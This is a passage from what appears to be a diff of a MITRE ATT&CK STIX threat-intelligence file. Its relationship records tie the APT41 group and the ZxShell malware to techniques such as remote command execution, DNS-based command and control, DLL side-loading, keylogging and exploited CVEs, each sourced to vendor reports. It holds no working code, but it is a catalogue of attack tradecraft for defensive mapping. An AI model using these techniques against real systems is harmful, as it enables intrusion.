"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.450Z", + "id": "relationship--29cd1209-5e90-448f-83d3-42c3ecdd1f70", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.768Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used a compromised account to create a scheduled task on a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.455Z", + "id": "relationship--6a653820-adc1-4068-ab78-9165f2a2c5c1", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:08:25.455Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used cmd.exe /c to execute commands on remote machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.407Z", + "id": "relationship--81a15403-9bb3-408a-8da6-97c64209c829", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.792Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.658Z", + "id": "relationship--c616ad2c-cfa1-4629-8f84-f102c7bc8d09", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.658Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.670Z", + "id": "relationship--734251a0-1a99-48f5-8b37-192a657a430e", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.667Z", + "id": "relationship--48c34dc3-0c3f-426d-b99a-b72e595da287", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.675Z", + "id": "relationship--ac612e35-03c6-4b14-9348-dea8119c593a", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.684Z", + "id": "relationship--37e520de-fe38-450b-a30e-3372f7ff3a4f", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.692Z", + "id": "relationship--b98ed6ce-be41-4388-ac56-35b4e2a0bbe6", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.692Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.736Z", + "id": "relationship--9be3defb-cc1d-4d8f-b0a8-bc153b0f1947", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.736Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.750Z", + "id": "relationship--3f27ef2a-48e8-4d37-8618-fe61dfcafd3e", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:14:16.753Z", + "id": "relationship--d12978f9-a02b-4be1-9e21-f2050e28ddb8", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:14:16.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:16:55.324Z", + "id": "relationship--fb1079fa-f399-48b3-aa34-ca096bed13c6", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:16:55.324Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:18:23.721Z", + "id": "relationship--15d39425-c748-442e-a8d0-de8ab3668cdd", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:18:23.721Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:18:23.730Z", + "id": "relationship--22af1cbd-a7fd-4d9f-ba15-d640c217603e", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:18:23.730Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[APT41](https://attack.mitre.org/groups/G0096) created user accounts and adds them to the User and Admin groups. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:31:43.511Z", + "id": "relationship--410d7922-e288-49ea-9607-27942505a416", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[APT41](https://attack.mitre.org/groups/G0096) collected MAC addresses from victim machines. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:31:43.557Z", + "id": "relationship--adc6b431-0722-4287-8f37-e09ddb5b25fe", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.773Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used DNS for C2 communications. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:31:43.561Z", + "id": "relationship--873faf92-be75-47e5-bf3e-b389a5bdc020", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.776Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[APT41](https://attack.mitre.org/groups/G0096) malware TIDYELF loaded the main WINTERLOVE component by injecting it into the iexplore.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:31:43.678Z", + "id": "relationship--e0c1c9b9-b36e-4157-8dc1-26cd9ae25193", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used the Steam community page as a fallback mechanism for C2. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:31:43.687Z", + "id": "relationship--97775c58-7cb1-46e0-9504-e60a459e44d0", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.759Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used compiled HTML (.chm) files for targeting. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:31:43.693Z", + "id": "relationship--c4c08678-eee9-475c-9a67-67b15278ec54", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-24T12:31:43.693Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "description": " ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:31:43.884Z", + "id": "relationship--5bfd02aa-acc6-47a0-8867-d7962ce775f6", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-24T12:31:43.884Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[APT41](https://attack.mitre.org/groups/G0096) deleted files from the system. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:42:37.500Z", + "id": "relationship--56b47ce2-9baa-421b-9187-c780615b97de", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-24T12:42:37.500Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used legitimate executables to perform DLL side-loading of their malware. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:42:37.642Z", + "id": "relationship--ad3eae0f-becd-4ed8-94cf-40a4e1a06a9d", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-24T12:42:37.642Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[APT41](https://attack.mitre.org/groups/G0096) leveraged the follow exploits in their operations: CVE-2012-0158, CVE-2015-1641, CVE-2017-0199, CVE-2017-11882, and CVE-2019-3396. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:53:12.462Z", + "id": "relationship--bcbc885e-c1ae-4e69-a72c-22900403bae3", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used the netstat command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:53:12.486Z", + "id": "relationship--a70bd01d-1d79-44e7-afe4-3a83e5a8d70c", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.876Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": " [APT41](https://attack.mitre.org/groups/G0096) used the net share command as part of network reconnaissance.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:53:12.511Z", + "id": "relationship--4f6e677d-427b-4342-b35c-57f4f3ad4ff8", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.887Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a feature to perform SYN flood attack on a host. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:59:58.510Z", + "id": "relationship--dda297c6-2edc-47c5-b32b-0d4ef0f85be4", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + }, + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:59:58.536Z", + "id": "relationship--4b3274fe-1960-4d1e-91d1-2091e467c45b", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T12:59:58.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can set up an HTTP or SOCKS proxy. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:59:58.542Z", + "id": "relationship--2bd05bbf-886e-4211-8aab-63cd8581a695", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + }, + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can launch a reverse command shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:59:58.575Z", + "id": "relationship--a322b9a0-57f8-4eda-a6f4-2adbc1376bfb", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.446Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + }, + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + }, + { + "source_name": "Secureworks BRONZEUNION Feb 2019", + "description": "Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION\u2019s Toolbox. Retrieved September 24, 2019.", + "url": "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a feature to capture a remote computer's keystrokes using a keylogger. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:59:58.589Z", + "id": "relationship--f0a91093-3827-49b0-82c4-a1c882f074cf", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + }, + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can delete files from the system. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:59:58.592Z", + "id": "relationship--7e7d5934-0e0d-4d9e-89d8-279bc05a6f77", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + 